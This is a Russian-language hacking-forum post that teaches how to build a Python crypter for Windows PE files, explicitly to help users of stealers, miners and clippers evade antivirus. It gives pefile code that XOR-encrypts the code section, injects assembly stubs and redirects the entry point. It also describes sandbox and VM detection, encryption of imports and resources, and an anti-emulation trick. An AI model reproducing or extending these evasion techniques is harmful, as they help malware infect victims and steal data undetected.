Как создать криптор на Python

xxxxxxxxxxxxxxxxxxxxx

holahot

Пользователь
Регистрация
9/7/16
Сообщения
6
Антивирусы можно вполне считать весьма безполезными, хотя бы по той причине, что они помогают только от самых примитивных вирусов, которые в условиях современного денежного бизнеса встречаются не так часто. Современные злокодеры, подогретые денежными вливаниями, научились программировать довольно жестко, но есть у них одна маленькая проблема — криптовка — достаточно сложная штука, для написания которой нужны глубокие знания PE-формата, ассемблера и системного программирования. Из-за высокого требования знаний, в этой области мало профессионалов. Рабочий криптор вылизанный до "идеала" стоит ой как дорого, скорее всего вы уже видели ценник на тематических форумах. Ребята которые покупают стиллеры, майнеры, клипперы, криптуют конечный стаб лишь первое время, а потом антивирусы во всю палят и рантайм и скантайм.
И найти хорошего криптора ой как сложно.
Но решение проблемы есть! Как мы знаем, антивирусные компании обмениваются технической информацией и создают специальные ресурсы, посредством которых мы сами отсылаем им сэмплы (типа VirusTotal’а). Но ведь и вирмейкеры тоже могут обмениваться информацией! Необязательно палить приватные темы — публичные технологии тоже сгодятся. Например, было бы удобно, если бы в каком-то одном месте лежали функции для генерации PE-файла, генерации импорта, шифрования ресурсов, рабочие функции определения SandBox’ов, тогда мы могли бы создавать крипторы так же непринужденно, как домики из кубиков Лего.
Идеальным местом для обмена, наверное, будет GitHub, и туда я залью исходники написанного нами сегодня криптора — он будет доступен по адресу http://github.com/presidentua/ExePacker.
Кроме того, в решении проблемы здорово помогло бы использование высокоуровневых языков программирования. В паблике сейчас валяются исходники крипторов на С++ или VisualBasic’е, но ведь от этого проще не становится, поскольку разобраться в написанном коде — ой как непросто. На Python’е все выглядит в разы лучше, поэтому именно его мы сегодня и будем использовать.

PE-файл
Структура PE-файла довольно сложная, поэтому подробная документация будет ждать тебя на диске, а здесь я представлю твоему вниманию лишь избранные моменты.
PE-файл представляет набор разных служебных структур, связанных между собой, и набор данных, которые размещены в секторах. Загрузчик Windows’a читает структуры, обрабатывает их (например, импортирует DLL) и потом передает управление на инструкцию, указанную в поле «Entry Point».
Теперь посмотрим, что же нужно нам сделать, чтобы изменить файл и при этом не испортить его.

Теоретический криптор
Для начала выберем файл, который будет у нас исполнять функции лабораторной мыши. Пожалуй, будем работать над Putty.exe. Упрощенно его структура будет выглядеть так:
  1. Служебные данные
  2. Первая кодовая секция
  3. Другие секции с данными
Алгоритм криптора следующий. Создать две ассемблерные программы. Первая будет косить под обычную программу и проверять, что мы не в эмуляторе, а потом передаст управление на вторую программу. Вторая же восстановит оригинальную структуру файла и передаст управление на оригинальную точку входа Putty. И записать эти программы в файл.
В результате получится следующая структура:
  1. Служебные данные
  2. Первая кодовая секция
1. Наша первая программа, которая передаст управление на 4.2
2. Шифрованный код первой секции
  1. Другие секции с данными
  2. Добавленная секция
1. Часть кодовой секции, перезаписанной программой 2.1
2. Вторая программа, которая оригинальный код из 4.1 поместит на 2.1, а потом расшифрует кодовую секцию и передаст на нее управление.
Эта структура только выглядит сложной, на деле все куда проще. Сейчас вы в этом убедитесь.

Практический криптор
Ну наконец-то мы добрались до сердца нашей статьи. Для работы криптора нам понадобится модуль pefile и с помощью либы откроем Putty:
import pefile
pe = pefile.PE("putty.exe")

Если написать «print pe», то нам выдаст подробную информацию обо всех характеристиках файла, по этой информации советую искать нужные для изменения поля в файле. А о внутренней работе модуля обязательно прочитай во врезке. Теперь немного математики. У нас будут две программы, которые нужно внедрить в файл. Они будут занимать где-то по 512 байт каждая максимум. Поэтому для размещения добавим новую секцию в 1024 килобайт вызовом:
pe.add_last_section(size=1024)

Закриптуем первую секцию XOR’ом с ключом «1»:
pe.sections[0].xor_data(code=1)

Поскольку в начале программы будет наш код, то сохраним оригинальный код, скопировав его в последнюю секцию. Адрес первой секции в файле находится в переменной — pe.sections[0]. PointerToRawData, а последней, соответственно — в pe.sections[-1].PointerToRawData:
pe.data_copy(pe.sections[0].PointerToRawData, pe.sections[-1].PointerToRawData, 512)

Оригинальный код сохранен, и мы приступим к написанию первой программы. Конечно же, писать мы ее будем на ассемблере, используя FASM для компиляции. Создадим файл pack.tpl.asm с содержанием:
use32
mov eax, {{ go }}
jmp eax

Это не готовый исходник, это лишь шаблон для шаблонизатора из TornadoWeb. Сгенерируем первую программу:
asm = Template(open("pack.tpl.asm", "r").read()).generate(
go=pe.OPTIONAL_HEADER.ImageBase + pe.sections[-1].VirtualAddress+512,
)
with open("pack.asm", "w") as f:
f.write(asm)
os.system(r"c:fasmwFASM.EXE pack.asm")

В переменной go мы передаем адрес в памяти, где будет наша вторая программа — то есть, в последней секции, начиная с 512 байта. А в последней строчке компилируем результат на FASM. Теперь запишем получившийся код в начало первой секции:
new_pack = open("pack.bin", "rb").read()
pe.data_replace(offset=pe.sections[0].PointerToRawData, new_data=new_pack)

Вторую программу запишем в файл copy.tpl.asm. Размер у нее более внушительный, поэтому полный код на диске. Там содержится два цикла, один скопирует 512 байт оригинальной программы с последней секции в первую, а второй цикл расшифрует всю первую секцию. После этого передается управление на оригинальную программу.
При компиляции темплейта нужно передать туда параметры для циклов копирования и расшифровки:
copy_from = pe.OPTIONAL_HEADER.ImageBase+pe.sections[-1].VirtualAddress
copy_to = pe.OPTIONAL_HEADER.ImageBase+pe.sections[0].VirtualAddress
oep = pe.OPTIONAL_HEADER.ImageBase+pe.OPTIONAL_HEADER.AddressOfEntryPoint
asm = Template(open("copy.tpl.asm", "r").read()).generate( copy_from=copy_from, copy_to=copy_to, copy_len=512, xor_len=pe.sections[0].Misc_VirtualSize, key_encode=1, original_oep=oep,)

Остался маленький штришок — записать вторую программу в файл и сделать первую секцию записываемой, чтобы расшифровщик не выдавал ошибок, а также установить точку входа на начало первой секции:
new_copy = open("copy.bin", "rb").read()
pe.data_replace(offset=pe.sections[-1].PointerToRawData+512, new_data=new_copy)
pe.sections[0].Characteristics |= pefi le.SECTION_CHARACTERISTICS["IMAGE_SCN_MEM_WRITE"]
pe.OPTIONAL_HEADER.AddressOfEntryPoint = pe.sections[0].VirtualAddress
pe.write(fi lename="result.exe")

Завершающий
Если собрать кусочки кода вместе, то будет у нас всего 50 строк. Всего лишь 50 — и криптор готов! Конечно, это еще далеко не готовый продукт, над ним нужно работать и работать. Чтобы довести систему до реального криптора, нужно добавить как минимум шифрование ресурсов и импорта, а также антиэмуляцию. Как это все будет работать - смотри ниже.

Обход песочниц
В крипторе нужно делать проверки на запуск в виртуальной машине, SandBox или анализаторе типа анубиса. Чтобы их обнаружить, нужно провести небольшое исследование и написать программу, которая будет на экран выводить разные внутренние параметры системы, а дальше — проверить этот файл на том же анубисе и в скриншоте посмотреть параметры, которые показала наша программа. Дальше все просто — при запуске на системе с подобными параметрами — просто уходим в цикл.

Шифрование ресурсов и импорта
Для шифрования ресурсов мы должны пройтись по секции ресурсов и сохранить оттуда важные для запуска файла — иконки и манифест. Дальше создаем новые ресурсы с важными ресурсами, а остальное шифруем. После запуска криптора восстанавливаем все обратно.
Несколько сложнее получается с импортом, ведь его также нужно сначала зашифровать, потом сгенерировать фальшивый импорт, но после восстановления импорт еще нужно вручную проинициализировать, то есть — загрузить DLL и сохранить в таблицу импорта реальные указатели на функции.

АнтиЭмуляция
Кроме избавления от внешних сигнатур, очень важно, чтобы антивирус в своем эмуляторе не добрался до исходного файла. Для этого нужна антиэмуляция. Раньше были очень популярны приемы, основанные на предположении, что эмулятор не понимает все инструкции процессора. Сейчас же ситуация изменилась, и самые эффективные приемы основаны на использовании Windows API. Согласись, что антивирус вряд ли сможет эмулировать все API, можно даже сказать, что на практике это невозможно, и мы будем правы.
Вот реализация:
  • создаем Windows-приложение и один дополнительный поток;
  • после создания потока он должен послать через API сообщение основному потоку с каким-то ключом;
  • в главной программе проверяем, и если ключ правильный — передаем управление на код расшифровки основного файла;
  • если код неправильный, то просто ничего не делаем и находимся в вечном цикле получения сообщений от Windows.
PS: Никогда не останавливай программу с ошибкой, это лишь прибавит криптору лишний вес. Вечный цикл получения сообщений от Windows — лучший способ, который мы и будем применять. Помним, сводим вес к минимуму, это практически самое важное.

Внутренности Антивирусов
В упрощенном виде, антивирус — это набор правил (сигнатур) и система, которая проверяет файл по этим правилам. Это не так сложно, как мы все привыкли считать.
К примеру, пусть в антивирусе будут такие сигнатуры:
  • секция с кодом, записываемая +10;
  • после запуска прописывается в авторан +30;
  • вторая секция с именем Zeus +30;
  • меньше 4 энтропия кодовой секции +20;
  • есть сертификат от майкрософта -10.
Дальше антивирус проверяет те правила, которые возможно проверить без запуска EXE, потом в эмуляторе запускает файл и проверяет все остальные правила. А после этого подсчитывает сумму, если она больше 100, значит вирус, если меньше — значит не вирус. Так это работает, а сейчас о том, как будет работать pefile.

Как работает pefile
При загрузке в pefile.exe, библиотека сохраняет сам файл в pe.data, а потом обрабатывает его и создает массив структур pe.structures. Структура — это объект, у которого есть адрес. Адрес, по которому она находится в файле, и есть набор полей.
При сохранении файла pe.write(filename=»result. exe») либа проходит по всем структурам и сохраняет их по указанным адресам. Чтобы что-то добавить, например, в ту же секцию, нам сначала нужно найти адрес в памяти. Это можно посчитать так: адрес в памяти последней секции + размер секции. Дальше заполняем все поля в структуре и добавляем ее в массив pe.structures.

Все полезные ссылки